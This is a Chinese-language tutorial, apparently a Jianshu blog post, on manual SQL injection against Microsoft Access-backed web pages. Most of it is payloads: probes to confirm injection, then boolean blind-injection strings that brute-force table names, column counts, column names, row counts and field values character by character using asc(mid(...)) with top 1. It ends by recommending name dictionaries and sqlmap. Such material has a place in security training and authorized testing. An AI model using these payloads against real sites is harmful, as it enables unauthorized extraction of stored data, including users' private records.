Access手工注入

Access数据库不像MySQL数据库有information_schema表,所以需要纯暴力猜解。

判断注入点

  1. 构造数据库中不存在的值:
  • ?id=1后加上'或者"看页面回显是否正常,页面回显不正常的话即有可能存在注入点
  1. and连接符判断

    • ?id=1 and 1=1 页面回显正常
    • ?id=1 and 1=2 页面回显错误
  2. or连接符判断

    • ?id=-1 or 1=2 页面回显错误
    • ?id=-1 or 1=1 页面回显正常

判断是否存在注入点的方法有很多,原理是检测我们能否控制参数,并使其与数据库存在交互,只要明白这点,随便什么方法都OK的。

布尔盲注法

猜解表名

跟MySQL不同的时,查询显示位需要跟上一个表,不然会报错。那就可以利用这一特性来进行表名的暴力猜解。构造语句:

`?id=1 and exists(select* from table_name)`

如果table_name存在,那么页面将显示出显示位;如果table_name不存在,页面将报错。

猜解列的数量

根据猜解出来的表名进行列数的猜解,构造语句:

`?id=1 and exists(select* from table_name order by 列数)`

与MySQL猜解列数相同,最后一个使页面回显正常的数字,即为列数。

猜解列名

猜出表名和列数之后,我们可以继续猜解表中的列名,构造语句:

`?id=1 exists(select column_name from table_name)`

如果column_name存在,页面回显正常;如果不存在,页面将报错。

猜解行数

猜完表名和列名后,就需要猜一下这张表一共有多少行:

`?id=1 and (select count(*) from table_name)>10`
如果行数大于10,则页面回显正常;否则页面回显错误。

猜解字段值

这里仍然得依次猜解每列的字段值,逻辑是先猜长度,再猜每个字符,然后拼接。猜完这一列,还有下一列。

1. 猜解column_name_1的值
  • 先猜column_name_1列的值长度
    ?id=1 and (select top 1 len(column_name_1) from table_name)=5
    Access数据库没有limit函数,因此我们这里需要使用top 1来指定行数。

  • 猜column_name_1列值的字符

    • 第一个字符
      ?id=1 and (select top 1 asc(mid(column_name_1,1,1))from table_name)=ascii值
      若第一个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。

    • 第二个字符
      ?id=1 and (select top 1 asc(mid(column_name_1,2,1))from table_name)=ascii值
      若第二个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。

    • 第三个字符
      ?id=1 and (select top 1 asc(mid(column_name_1,3,1))from table_name)=ascii值
      若第三个字符的ASCII值与我们指定的ASCII值相等,则页面显示正常;否则页面回显异常。

      以此类推,猜完这一列,再猜下一列。

总结

  1. 日常需要多积累常用的表名列名做字典
  2. sqlmap一把梭,无敌~
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容